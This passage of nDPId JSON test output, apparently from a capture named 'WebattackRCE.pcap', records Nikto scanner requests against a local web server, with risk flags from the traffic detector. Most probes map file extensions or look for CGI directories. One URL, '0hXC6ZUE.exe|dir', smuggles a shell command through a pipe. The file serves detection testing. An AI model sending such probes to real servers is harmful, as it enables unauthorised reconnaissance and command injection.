+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1576420276686,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49582,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":686570,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEl0RAAEAGpO1\/AAABfwAAAcGuH5BUwq9SBePOj4AYAED+uAAAAQEICp1m+vadZvr2R0VUIC8waFhDNlpVRS5odG0gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1576420276686,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49582,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.htm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1576420276687,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49584,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":687779,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFbA5AAEAG0CJ\/AAABfwAAAcGwH5CxUlQZUrozMIAYAED+uQAAAQEICp1m+vedZvr3R0VUIC8waFhDNlpVRS5odG1sIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bWFwX2NvZGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1576420276687,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49584,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.html","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1576420276689,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49586,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":689229,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEYhpAAEAG2hd\/AAABfwAAAcGyH5BKOloN5Bjd7oAYAED+uAAAAQEICp1m+vmdZvr5R0VUIC8waFhDNlpVRS5kbGwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":22,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1576420276689,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49586,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.dll","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1576420276690,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49588,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":690572,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADErQxAAEAGjyV\/AAABfwAAAcG0H5DNO5UfftfaRYAYAED+uAAAAQEICp1m+vqdZvr6R0VUIC8waFhDNlpVRS5waHAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1576420276690,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49588,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1576420276692,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49590,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":692302,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEWZ5AAEAG4pN\/AAABfwAAAcG2H5D\/SmGKHR\/Uy4AYAED+uAAAAQEICp1m+vydZvr7R0VUIC8waFhDNlpVRS5hc3AgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1576420276692,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49590,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1576420276694,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49592,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":694171,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIBvJAAEAGNTx\/AAABfwAAAcG4H5DthT7meWwMh4AYAED+vAAAAQEICp1m+v6dZvr9R0VUIC8waFhDNlpVRS5leGV8ZGlyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bWFwX2NvZGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1576420276694,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49592,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.exe|dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1576420276695,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49594,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":695957,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCG\/NAAEAGIEF\/AAABfwAAAcG6H5DzUiPolNWjYoAYAED+tgAAAQEICp1m+v+dZvr\/R0VUIC9pbmRleC5waHA\/IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQoNCg=="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1576420276695,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49594,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1576420276697,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49596,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":697727,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEgRRAAEAGux1\/AAABfwAAAcG8H5ABRrkFDdcmsoAYAED+uAAAAQEICp1m+wGdZvsBR0VUIC9jZ2kuY2dpLyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1576420276697,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49596,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi.cgi\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1576420276699,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49598,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":699054,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDtolAAEAGhal\/AAABfwAAAcG+H5DlK46S3uw4X4AYAED+twAAAQEICp1m+wKdZvsCR0VUIC93ZWJjZ2kvIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjZ2kgZGlyIGNoZWNrKQ0KDQo="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1576420276699,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49598,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/webcgi\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1576420276701,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49600,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":701564,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEOWhAAEAGAsp\/AAABfwAAAcHAH5CIUQFyvT1whIAYAED+uAAAAQEICp1m+wWdZvsFR0VUIC9jZ2ktOTE0LyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1576420276701,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49600,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-914\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1576420276703,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49602,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":703002,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEOclAAEAGAml\/AAABfwAAAcHCH5AyFgHRa7MhPoAYAED+uAAAAQEICp1m+wadZvsGR0VUIC9jZ2ktOTE1LyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1576420276703,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49602,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-915\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1576420276704,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49604,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":704323,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAObpAAEAGAnx\/AAABfwAAAcHEH5ArBQGh2qRxvoAYAED+tAAAAQEICp1m+widZvsIR0VUIC9iaW4vIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjZ2kgZGlyIGNoZWNrKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1576420276704,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49604,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/bin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1576420276705,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49606,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":705851,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADARJ1AAEAG95h\/AAABfwAAAcHGH5BoLnyEpCdA\/4AYAED+tAAAAQEICp1m+wmdZvsJR0VUIC9jZ2kvIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6Y2dpIGRpciBjaGVjaykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1576420276705,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49606,"dst_port":8080,"l4_proto":"tcp","ndpi": 